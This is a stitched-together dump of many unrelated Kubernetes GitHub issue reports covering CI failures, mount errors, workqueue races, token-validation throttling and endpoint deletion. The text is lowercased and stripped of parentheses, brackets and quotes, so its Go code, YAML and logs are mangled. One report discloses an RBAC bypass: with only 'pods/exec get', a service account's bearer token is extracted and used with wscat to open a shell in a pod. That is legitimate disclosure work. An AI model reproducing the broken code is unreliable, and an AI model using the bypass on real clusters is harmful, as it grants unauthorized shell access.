00:18:59.810077   19717 customresource_discovery_controller.go:163  shutting down discoverycontroller\r i1123 00:18:59.810096   19717 controller.go:90  shutting down openapi aggregationcontroller\r i1123 00:18:59.810115   19717 naming_controller.go:285  shutting down namingconditioncontroller\r i1123 00:18:59.810116   19717 apiservice_controller.go:124  shutting down apiserviceregistrationcontroller\r i1123 00:18:59.810146   19717 available_controller.go:274  shutting down availableconditioncontroller\r i1123 00:18:59.810100   19717 crd_finalizer.go:254  shutting down crdfinalizer\r i1123 00:18:59.810293   19717 serve.go:129  stopped listening on  :: :46103\r 2017-11-23 00:18:59.810285 i | integration: terminating 1637533451367295481  unix://localhost:16375334513672954810 \r 2017-11-23 00:18:59.835727 i | integration: terminated 1637533451367295481  unix://localhost:16375334513672954810 \r --- fail: testmixedrelationships  66.48s \r \ttestserver.go:72: starting etcd...\r \ttestserver.go:95: starting kube-apiserver on port 46103...\r \ttestserver.go:106: waiting for /healthz to be ok...\r \tgarbage_collector_test.go:888: created custom owner \ ownerrg8c5\ \r \tgarbage_collector_test.go:897: created core dependent \ dependents5dj4\ \r \tgarbage_collector_test.go:904: created core owner \ owner99lrz\ : &v1.configmap{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ owner99lrz\ , generatename:\ \ , namespace:\ crd-mixed\ , selflink:\ /api/v1/namespaces/crd-mixed/configmaps/owner99lrz\ , uid:\ c337fd82-cfe3-11e7-8085-0242ac110002\ , resourceversion:\ 49\ , generation:0, creationtimestamp:v1.time{time:time.time{wall:0x0, ext:63646993079, loc:  time.location  0x9091660 }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, data:map string string nil }\r \tgarbage_collector_test.go:915: created custom dependent \ dependent8zq9w\ \r \tgarbage_collector_test.go:929: failed waiting for owner resource \ ownerrg8c5\  to be deleted\r    \r \r cc @ironcladlou @caesarxuchao \r @kubernetes/sig-api-machinery-test-failures \r \r 

is this a bug report or feature request?  :\r \r  \r   what happened  :\r testing my pr the pull-kubernetes-cross test failed to run 'make release'.\r https://github.com/kubernetes/kubernetes/pull/60175\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/60175/pull-kubernetes-cross/7264/\r \r i0222 20:04:59.204    k8s.io/kubernetes/pkg/util/io\r i0222 20:04:59.205  pkg/util/io/writer.go:61:21: cannot use echoargs  type   string  as type string in argument to ne.exec\r i0222 20:04:59.205  pkg/util/io/writer.go:71:29: cannot use chmodargs  type   string  as type string in argument to ne.exec\r i0222 20:04:59.206  !!!  0222 20:04:59  call tree:\r i0222 20:04:59.206  !!!  0222 20:04:59   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:683 kube::golang::build_binaries_for_platform ... \r i0222 20:04:59.207  !!!  0222 20:04:59   2: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r i0222 20:04:59.212  makefile:92: recipe for target 'all' failed\r i0222 20:04:59.215  makefile:442: recipe for target 'cross' failed\r w0222 20:04:59.316  !!!  0222 20:04:59  call tree:\r w0222 20:04:59.316  !!!  0222 20:04:59   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r w0222 20:04:59.316  make 1 :      all  error 1\r w0222 20:04:59.317  make:      cross  error 1\r w0222 20:04:59.510  !!!  0222 20:04:59  call tree:\r w0222 20:04:59.512  !!!  0222 20:04:59   1: build/../build/common.sh:553 kube::build::run_build_command_ex ... \r w0222 20:04:59.514  !!!  0222 20:04:59   2: build/release.sh:36 kube::build::run_build_command ... \r w0222 20:04:59.514  make:      release  error 1\r w0222 20:04:59.515  traceback  most recent call last :\r w0222 20:04:59.515    file \ /workspace/./test-infra/jenkins/../scenarios/execute.py\ , line 50, in <module>\r w0222 20:04:59.516      main args.env, args.cmd + args.args \r w0222 20:04:59.517    file \ /workspace/./test-infra/jenkins/../scenarios/execute.py\ , line 41, in main\r w0222 20:04:59.517      check  cmd \r w0222 20:04:59.518    file \ /workspace/./test-infra/jenkins/../scenarios/execute.py\ , line 30, in check\r w0222 20:04:59.518      subprocess.check_call cmd \r w0222 20:04:59.518    file \ /usr/lib/python2.7/subprocess.py\ , line 540, in check_call\r w0222 20:04:59.518      raise calledprocesserror retcode, cmd \r w0222 20:04:59.519  subprocess.calledprocesserror: command ' 'make', 'release' ' returned non-zero exit status 2\r i0222 20:04:59.522  makefile:382: recipe for target 'release' failed\r e0222 20:04:59.522  command failed\r i0222 20:04:59.522  process 610 exited with code 1 after 29.9m\r e0222 20:04:59.522  fail: pull-kubernetes-cross\r \r   what you expected to happen  :\r presumably this is a flaky test.  i would expect the test not to fail since, as far as i can tell, the failure is unrelated to my pr.\r \r   how to reproduce it  as minimally and precisely as possible   :\r unknown

is this a bug report or feature request?  :\r  \r   what happened  :\r after upgrading from v1.9.2 -> v1.10.0-beta.2, containers using hostpath mounts are failing with:\r    \r         exitcode: 128\r         finishedat: 2018-03-12t19:25:03z\r         message: 'linux mounts: path /opt/kubelet/dev is mounted on / but it is not\r           a shared or slave mount.'\r         reason: containercannotrun\r         startedat: 2018-03-12t19:25:03z\r    \r \r the message  linux mounts: path /opt/kubelet/dev is mounted on / but it is not a shared or slave mount  seems like it's from the docker daemon, but the docker daemon was not updated during the upgrade so i had assumed a behaviour in the kubelet had changed that would cause this. \r \r   what you expected to happen  :\r pod should be running as usual, but it fails with  runcontainererror . \r \r   how to reproduce it  as minimally and precisely as possible   :\r run kubernetes cluster using host path mount. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.2\ , gitcommit:\ 63dad40a0391b7af32c34fdbf41fa199c3b247ad\ , gittreestate:\ clean\ , builddate:\ 2018-03-07t20:30:35z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  : \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r in k8s.io/client-go/util/workqueue/queue.go\r  https://github.com/kubernetes/client-go/blob/master/util/workqueue/queue.go  url \r 1.\r    \r func  q  type  add item interface{}  {\r \tq.cond.l.lock  \r \tdefer q.cond.l.unlock  \r \tif q.shuttingdown {\r \t\treturn\r \t}\r \tif q.dirty.has item  {\r \t\treturn\r \t}\r \r \tq.metrics.add item \r \r \tq.dirty.insert item \r \tif q.processing.has item  {\r \t\treturn\r \t}\r \r \tq.queue = append q.queue, item \r \tq.cond.signal  \r }\r    \r \r    \r func  q  type  get    item interface{}, shutdown bool  {\r \tq.cond.l.lock  \r \tdefer q.cond.l.unlock  \r \tfor len q.queue  == 0 && !q.shuttingdown {\r \t\tq.cond.wait  \r \t}\r \tif len q.queue  == 0 {\r \t\t// we must be shutting down.\r \t\treturn nil, true\r \t}\r \r \titem, q.queue = q.queue 0 , q.queue 1: \r \r \tq.metrics.get item \r \r \tq.processing.insert item \r \tq.dirty.delete item \r \r \treturn item, false\r }\r    \r in add   function , we want to add the unique item in the  queue.\r in get   function, if more than 1 consumers , they will be waiting until producer put item into the queue.\r \r if 10  consumers are waiting and  10 same items are put into the queue, the 10 items will be all consumed.  maybe we expect only   1   consumer to consume the same item because the item is reduplicated.\r <br/>\r 2.\r everything is ok, but  there is some problems in kube-controller-manager.\r i use the example of resource_quota_controller:\r  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/resourcequota/resource_quota_controller.go  url \r there are 6 workers are working.\r \r    \r         for i := 0; i < workers; i++ {\r \t\tgo wait.until rq.worker rq.queue , time.second, stopch \r \t\tgo wait.until rq.worker rq.missingusagequeue , time.second, stopch \r \t}\r    \r \r    \r func  rq  resourcequotacontroller  worker queue workqueue.ratelimitinginterface  func   {\r \tworkfunc := func   bool {\r \t\tkey, quit := queue.get  \r \t\tif quit {\r \t\t\treturn true\r \t\t}\r \t\tdefer queue.done key \r \t\terr := rq.synchandler key. string  \r \t\tif err == nil {\r \t\t\tqueue.forget key \r \t\t\treturn false\r \t\t}\r \t\tutilruntime.handleerror err \r \t\tqueue.addratelimited key \r \t\treturn false\r \t}\r \r \treturn func   {\r \t\tfor {\r \t\t\tif quit := workfunc  ; quit {\r \t\t\t\tglog.infof \ resource quota controller worker shutting down\  \r \t\t\t\treturn\r \t\t\t}\r \t\t}\r \t}\r }\r    \r when we update or delete a deployment, if there are 10 pod in this deployment, there are 10 same key the namespace/name of quota  will be put into the queue. and the 6 workers are waked up and to deal with the same key.\r \r quota version maybe expires after re-calculation and the expired quota will  update unsuccessfully because other workers have updated the quota.\r \r there are too many conflict error  will be logged.\r    \r operation cannot be fulfilled on resourcequotas \\\ pod-quota\\\ : the object has been modified; please apply your changes to the latest version and try again\r    \r <br/>\r 3.\r \r up to now, there is only warning and no error is happened. \r but we maybe fail to create pod this time, the error info is : \r \r    \r {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ operation cannot be fulfilled on resourcequotas \\\ pod-quota\\\ : the object has been modified; please apply your changes to the latest version and try again\ ,\ reason\ :\ conflict\ ,\ details\ :{\ name\ :\ pod-quota\ ,\ kind\ :\ resourcequotas\ },\ code\ :409}\r    \r because the resource quota will calculate and update before create a pod. and if some error occurs, the function will retry 3 times. and if api-server doesn't update the quota successfully after 3 times, it will return back an error for user.\r \r    \r e.checkquotas quotas, admissionattributes, 3 \r func  e  quotaevaluator  checkquotas quotas   api.resourcequota, admissionattributes    admissionwaiter, remainingretries int  {\r    ......\r     for i := range quotas {\r \t\tnewquota := quotas i \r \r \t\t// if this quota didn't have its status changed, skip it\r \t\tif quota.equals originalquotas i .status.used, newquota.status.used  {\r \t\t\tcontinue\r \t\t}\r \r \t\tif err := e.quotaaccessor.updatequotastatus &newquota ; err != nil {\r \t\t\tupdatedfailedquotas = append updatedfailedquotas, newquota \r \t\t\tlasterr = err\r \t\t}\r    }\r    e.checkquotas quotastocheck, admissionattributes, remainingretries-1 \r }\r    \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a resource quota , and create  50 pod by 1 deployment\r 2. delete the deployment and you can watch so many log like this:\ please apply your changes to the latest version and try again\  \r \r   i hope that  :\r 1.  reduce the conflict log and error by up the log level?\r 2. not wait but return if the queue is empty. or add an function like \ peek  \ ?\r 3. add retry delay when error occurs in create pod period?\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r one of our customers has a workload that makes a lot of api calls using serviceaccount tokens.  they have seen periods of increasingly slow responses eventually leading to many requests failing due to a 1 minute timeout in the apiserver. requests using other authentication mechanisms  certificate, oidc tokens  at the same time see no slowdown or timeouts.\r \r   what you expected to happen  :\r api calls using serviceaccount tokens should have similar performance as other calls.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r at apiserver verbosity  -v =4, we saw log entries like:\r    \r get:https://127.0.0.1:2040/api/v1/namespace\r s/81b54524bfa349828fae6a546b5808bc/serviceaccounts/compose\r i1205 23:11:19.509645       1 request.go:530  throttling request took 3.049260372s, request: get:https://127.0.0.1:2040/api/v1/namespace\r s/be7e995326144ec9a6a65c21c79e04fa/secrets/compose-token-z225g\r i1205 23:11:19.529665       1 request.go:530  throttling request took 3.040583457s, request: get:https://127.0.0.1:2040/api/v1/namespaces/kube-system/secrets/kube-dns-token-kl8s6\r    \r the log sample those are from spanned 5m 45 sec, and contains 5698 of those throttling entries.\r they appear to be coming from a go-client in the apiserver calling back into the apiserver.\r \r further investigation suggested this was due to rate limiting within the go-client used by the tokenauthenticator to validate the tokens - check that the service account and secret associated with the token still exist.\r \r we saw throttling times over 1 minute.  at 30 seconds, the total time to perform just the serviceaccount and secret lookup would be sufficient to cause the request to timeout.\r \r we didn't find any way to change the rate limiting configuration, but we did find the  --service-account-lookup  apiserver option.  after setting that to false, api calls were consistently fast.  so it seems that token validation is the culprit and we can circumvent it at the risk of allowing clients to use tokens that have since been deleted.\r \r some thoughts suggested here:\r - provide a knob to control this throttling\r - disable throttling in the go-client used by token authentication\r - we think there is a cache mechanism with a 10 minute ttl.  we can't tell from our logs how often there is a cache miss and why  not in the cache, expired... , but the ttl might be replaced by watches that could invalidate entries as sas and secrets are deleted.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.5\r - cloud provider or hardware configuration: ibm kubernetes service\r - os  e.g. from /etc/os-release : ubuntu 16.04.5 lts\r - kernel  e.g.  uname -a  : linux redacted 4.4.0-78-generic  99-ubuntu smp thu apr 27 15:29:09 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r this is a place holder to track conformance coverage on the topic.\r this issue should remain open until all related work is accomplished in the k/k repo\r this issue will contain analysis of the coverage. existing tests and additional tests requested with links to those issues/pr's\r \r   why is this needed  :\r conformance coverage for csi, etc.\r \r /area conformance \r /assign @pontiyaraja\r /cc @msau42

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i am using selectorless service to integrate my external glusterfs with kubernetes. i only create the endpoint object without service object because that all what  glusterfs needs  https://github.com/kubernetes/examples/blob/master/staging/volumes/glusterfs/glusterfs-pod.json l24 . i upgraded my cluster through a process that involves cycling master nodes. unexpectedly, the glusterfs endpoints object got deleted after cluster upgrade/update.\r \r since this causes my application down after the period of endpoint got deleted, is this expected behavior of kubernetes?\r \r  \r   what you expected to happen  :\r endpoint stays after cluster upgrade/update even when corresponding service object is missing.\r \r   how to reproduce it  as minimally and precisely as possible   :\r easy reproduce. create an endpoint:\r    \r apiversion: v1\r kind: endpoints\r metadata:\r   name: glusterfs-cluster\r subsets:\r   - addresses:\r       - ip: 192.168.122.221\r     ports:\r       - port: 1\r   - addresses:\r       - ip: 192.168.122.222\r     ports:\r       - port: 1\r    \r \r upgrade the cluster. then the endpoint is gone.\r \r   anything else we need to know?  :\r i find this endpoint_controller has  this  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/endpoint/endpoints_controller.go l415  behavior that it only stays with service object present, but got delete if service object is missing. could we do better that this? or why not?\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11\r - cloud provider or hardware configuration: aws\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r if you use the websocket endpoint for execing into a pod, you can exec into the pod if you just have  pods/exec get  privileges, whereas  kubectl exec   which uses the spdy endpoint  requires  pods/exec create  privileges.\r \r   what you expected to happen  :\r the websocket endpoint would return a 403 if a user without  pods/exec create  privileges tries to exec into a pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create two yaml files:\r \r role.yaml:\r    \r apiversion: rbac.authorization.k8s.io/v1\r kind: role\r metadata:\r   namespace: default\r   name: pod-view-role\r rules:\r - apigroups:  \ \  \r   resources:  \ pods\  \r   verbs:  \ get\ , \ list\ , \ watch\  \r ---\r apiversion: rbac.authorization.k8s.io/v1\r kind: role\r metadata:\r   namespace: default\r   name: pod-exec-view-role\r rules:\r - apigroups:  \ \  \r   resources:  \ pods/exec\  \r   verbs:  \ get\  \r ---\r kind: rolebinding\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   name: read-pods-svc-account\r   namespace: default\r subjects:\r - kind: serviceaccount\r   name: test\r roleref:\r   kind: role\r   name: pod-view-role\r   apigroup: rbac.authorization.k8s.io\r ---\r kind: rolebinding\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   name: read-pods-exec-svc-account\r   namespace: default\r subjects:\r - kind: serviceaccount\r   name: test\r roleref:\r   kind: role\r   name: pod-exec-view-role\r   apigroup: rbac.authorization.k8s.io\r    \r \r pod.yaml:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: testpod\r spec:\r   containers:\r   - name: testpod\r     image: busybox\r     command:  \ sleep\ , \ 24h\  \r    \r \r    \r minikube start\r \r   create a service account\r kubectl create serviceaccount test\r \r   let the service account view pods and  pods/exec  objects\r kubectl apply -f role.yaml\r   create a pod in the default namespace\r kubectl apply -f pod.yaml\r \r   get the service account's secret\r export secret=$ kubectl get serviceaccount test -o json | jq -r '.secrets  .name' \r   get the service account's bearer token and encode it in base64url encoding\r token=$ kubectl get secret $secret -o yaml | grep \ token:\  | awk {'print $2'} | sed -e \ s/+/-/g\  -e \ s/\\//_/g\  -e \ s/=//g\  \r \r   use wscat to attempt to exec into the pod\r wscat -s \ base64url.bearer.authorization.k8s.io.$token, base64.channel.k8s.io\  -n -c 'wss://192.168.99.100:8443/api/v1/namespaces/default/pods/testpod/exec?container=testpod&command=sh&stdout=true&stderr=true&stdin=true&tty=true'\r    \r \r the wscat command succeeds but i expected it to fail with a 403.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.14.2\r - cloud provider or hardware configuration:\r minikube\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

-  x  unit tests of admission part  13132 -     unit tests for gcm source -  x  e2e test  15145

follow up from https://github.com/kubernetes/kubernetes/pull/21398  parameter encoding/decoding follows an odd and asymmetric path today:  encoding:      runtime.newparametercodec ... .encodeparameters runtime.object, destination groupversion    -> queryparams.convert runtime.object      uses json tag names as parameter names     primitive values are added as query parameter string values     struct values  currently only unversioned.time  can convert themselves to a query parameter string value      decoding:      runtime.newparametercodec ... .decodeparameters url.values, source groupversion, destination object    -> conversion.convert url.values, versioned destination object      uses defined conversion functions between     string  and field types to convert url query parameters to options structs      i'm not sure we want lots of arbitrary struct->queryparam serialization, but these paths should be more unified.  cc @smarterclayton

as by instructions in  doc  http://kubernetes.io/docs/user-guide/volumes/ gcepersistentdisk , i created a pd in gce, i attached it to an instance, then created a partition with ext4, and provisioned it with my data  git repo .   next, i created rc with uploading json to kubernetes. rc contains 2 replicas of nginx pods, which should work with configuration, provided in git repo on pd. but, when i looked for data in mounted volumes in both pods, it contains lost+found folder only.  then, i deleted rc and both pods, and mounted pd to regular instance again. and  fdisk -l  show me nothing but info about /dev/sdb. no partitions on it at all.  what may went wrong?    kubernetes version     client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.3\ , gitcommit:\ c6411395e09da356c608896d3d9725acab821418\ , gittreestate:\ clean\ , builddate:\ 2016-07-22t20:29:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4\ , gitcommit:\ dd6b458ef8dbf24aff55795baa68f83383c9b3a9\ , gittreestate:\ clean\ , builddate:\ 2016-08-01t16:38:31z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }

according to  30875  and https://github.com/kubernetes/kubernetes/pull/30976 issuecomment-241437378 , we are spending a lot of time in regex validation.  while  30976 bypassed validation for the case where the labels should already have been validated, we should also look at replacing inefficient regexes with something that does not consume 20% of cpu time :-   i thought the go regex implementation was supposed to be much better behaved, but perhaps we are doing something unexpected.   it could also be that this is simply a slow operation - regex or not.

hi:\r i follow kubefed docs to init federation cluster. all is ok,but control-plane controller manager error: \r    \r f0606 08:51:10.964219       1 controllermanager.go:166  could not find resources from api server: get https://fellowship-apiserver/api: net/http: tls handshake timeout\r     \r environment：\r    \r system: ubuntu16.04 xenial\r docker version: 1.13.1\r kubernetes version: 1.6.3\r kubefed version: v1.6.3\r federation dns: coredns\r    \r my operate:\r    \r kubectl config get-contexts\r current name                                           cluster     authinfo             namespace\r               kubernetes-admin@kubernetes  kubernetes  kubernetes-admin  \r \r kubefed init fellowship \\\r     --host-cluster-context=kubernetes-admin@kubernetes \\\r     --dns-provider=coredns \\\r     --dns-provider-config=coredns-provider.conf \\\r     --api-server-service-type=\ nodeport\  \\\r     --kubeconfig=/root/admin.conf \\\r     -v 9\r    \r result:\r    \r kubectl logs -f fellowship-controller-manager-3987088604-359cq -n federation-system\r \r i0606 08:51:00.958264       1 controllermanager.go:93  v1.6.3\r i0606 08:51:00.959621       1 controllermanager.go:159  loading client config for cluster controller \ cluster-controller\ \r i0606 08:51:00.960598       1 controllermanager.go:161  running cluster controller\r f0606 08:51:10.964219       1 controllermanager.go:166  could not find resources from api server: get https://fellowship-apiserver/api: net/http: tls handshake timeout\r    \r \r could u help me？ thanks very much.

the gke engprod team will stop supporting sigs running their testing on shared jenkins infrastructure after 1.8\r \r please migrate your jobs to prow, and/or create and maintain your own jenkins instance:\r    \r $ cat jobs/config.json | grep node | grep '\ ci'\r   \ ci-cadvisor-node-kubelet\ : {\r   \ ci-kubernetes-e2e-gce-ubuntu-1-6-node\ : {\r   \ ci-kubernetes-e2e-gce-ubuntu-1-6-node-serial\ : {\r   \ ci-kubernetes-e2e-gce-ubuntu-1-7-node\ : {\r   \ ci-kubernetes-e2e-gce-ubuntu-1-7-node-serial\ : {\r   \ ci-kubernetes-e2e-gce-ubuntu-node\ : {\r   \ ci-kubernetes-e2e-gce-ubuntu-node-serial\ : {\r   \ ci-kubernetes-node-cos-docker-validation\ : {\r   \ ci-kubernetes-node-docker\ : {\r   \ ci-kubernetes-node-docker-benchmark\ : {\r   \ ci-kubernetes-node-kubelet\ : {\r   \ ci-kubernetes-node-kubelet-1.4\ : {\r   \ ci-kubernetes-node-kubelet-1.5\ : {\r   \ ci-kubernetes-node-kubelet-1.6\ : {\r   \ ci-kubernetes-node-kubelet-1.7\ : {\r   \ ci-kubernetes-node-kubelet-benchmark\ : {\r   \ ci-kubernetes-node-kubelet-conformance\ : {\r   \ ci-kubernetes-node-kubelet-flaky\ : {\r   \ ci-kubernetes-node-kubelet-non-cri-1.6\ : {\r   \ ci-kubernetes-node-kubelet-serial\ : {\r    \r \r @kubernetes/sig-node-bugs @dchen1107 @abgworrall \r ref https://github.com/kubernetes/test-infra/issues/3778

https://github.com/kubernetes/kubernetes/pull/47987 for 1.8.\r /assign

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r https://github.com/kubernetes/kubernetes/commit/96b48d4386fc00f69790f30c4631e4b864fcf5eb diff-1f7f903e25ab8bcbc514bb1e532e997e introduced a redundant call on startlogging in the service controller. it's called on line  118  https://github.com/kubernetes/kubernetes/commit/96b48d4386fc00f69790f30c4631e4b864fcf5eb diff-1f7f903e25ab8bcbc514bb1e532e997er118 \r \r   what you expected to happen  :\r \r should only be called once\r \r \r   anything else we need to know?  :\r \r cc @hzxuzhonghu \r \r

c5 instances don't mount volumes on the device path, instead they mount them on \ random\  nvme devices:  http://docs.aws.amazon.com/awsec2/latest/userguide/nvme-ebs-volumes.html\r \r we need to identify the device using the nvme ioctls  directly or indirectly via the nvme command .

is this a bug report or feature request?  :\r >  \r the result of liveness and readiness probes performed by kubelet is not easily available other than through kubectl. currently if a user wanted a time series graph detailing the health of their pod/container, it would not be possible.\r \r if the results of these checks were properly exposed through a medium such as a prometheus metric, it would highly benefit users. using a prometheus metric would allow for integrations with grafana, stackdriver, etc. \r \r cc @dchen1107 @miekg\r

kubeadm version v1.8.2\r i use  kube_repo_prefix  but it's unwork.the config kubeadm create still use image from gcr.io .\r ! image  https://user-images.githubusercontent.com/5907733/35965990-86964c08-0cf7-11e8-8c49-afb4ff2fd9e2.png \r

failing jobs\r    gce-1.10-master-upgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster-parallel \r    gce-1.10-master-upgrade-cluster  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster \r    gce-1.10-master-upgrade-cluster-new  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster-new \r    gke-gci-1.10-gci-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-master \r \r    gubernator logs from recent runs\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel/3339\r \r    triage results\r    hpa-upgrade  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel&test=hpa-upgrade \r    ingress-upgrade  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel&test=ingress-upgrade \r \r this test is currently failing in sig-release master-upgrade suite. this could potentially block beta cut which is on 5/15. \r \r @timothysc and @mrhohn can you please triage these failures and see if it belongs to cluster-lifecycle or networking?\r \r  / /   @kubernetes/sig-cluster-lifecycle-bugs\r @kubernetes/sig-network-bugs \r \r cc @jberkus @tpepper\r \r /assign @timothysc @mrhohn \r /milestone v1.11

  \r    \r kubectl certificate approve\r     \r should take a valid before  and while we're add it valid after  parameter.\r \r the use case is for is short lived credentials  on order of minutes  through tooling. some service providers  amazon eks  have their own way of providing this. however this seems like a feature that should be standard. it also seems that it would very clean to implement said feature just by exposing the validity period as a parameter to the csr approval api. i might be able to find some resources to submit a pull request, however i'd like to hear that this is a desired pr.\r \r thanks\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r  \r   what happened  :\r the  hack/generate-docs.sh doesn't build on macos 10.14 mojave.\r \r   what you expected to happen  :\r the script should generate the docs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run  hack/generate-docs.sh  on macos 10.14 mojave.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.974+a7a081b5410fcf\ , gitcommit:\ a7a081b5410fcf711b1f85169225974040051204\ , gittreestate:\ clean\ , builddate:\ 2018-06-08t08:57:07z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:00:59z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - os  e.g. from /etc/os-release :\r macos 10.14 mojava  beta 1 \r

is this a bug report or feature request?  :\r   \r   what happened  :\r fix  59286 doesn't remove the stale udp conntrack session when an external ip is involved. the stale session lingers and continues to misdirect traffic to endpoints that are removed and it prevents sessions to new endpoints from being created.\r \r   what you expected to happen  :\r fix  59286 removes stale udp conntrack sessions by cluster ip as its solution but if using external ip  ex. vip  the stale udp conntrack session can't be matched by cluster ip so it doesn't get removed. in this scenario, the stale session's fields contain the external ip, endpoint ip and port but not cluster ip.\r \r   how to reproduce it  as minimally and precisely as possible   :\r with all inbound traffic routed through a vip, the following sflow-app has its traffic forwarded from an external ip 10.0.22.190 to its endpoint 10.32.0.83:6343:\r \r name                      type        cluster-ip       external-ip   port s                        age\r sflow-app                clusterip   10.105.23.70     10.0.22.190   6343/udp                      6d\r \r name                      endpoints                                          age\r sflow-app                10.32.0.83:6343                                    6d\r \r the conntrack session for the above service looks like this  notice the cluster ip of 10.105.23.70 is not part of the session :\r udp      17 29 src=10.0.22.3 dst=10.0.22.190 sport=50401 dport=6343  unreplied  src=10.32.0.83 dst=10.32.0.1 sport=6343 dport=50401 mark=0 use=1\r \r when the pod/endpoint is removed or it gets a new ip address, the conntrack session doesn't get removed by external ip or endpoints so it just lingers.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 18.04 lts  bionic beaver \ \r \r - kernel  e.g.  uname 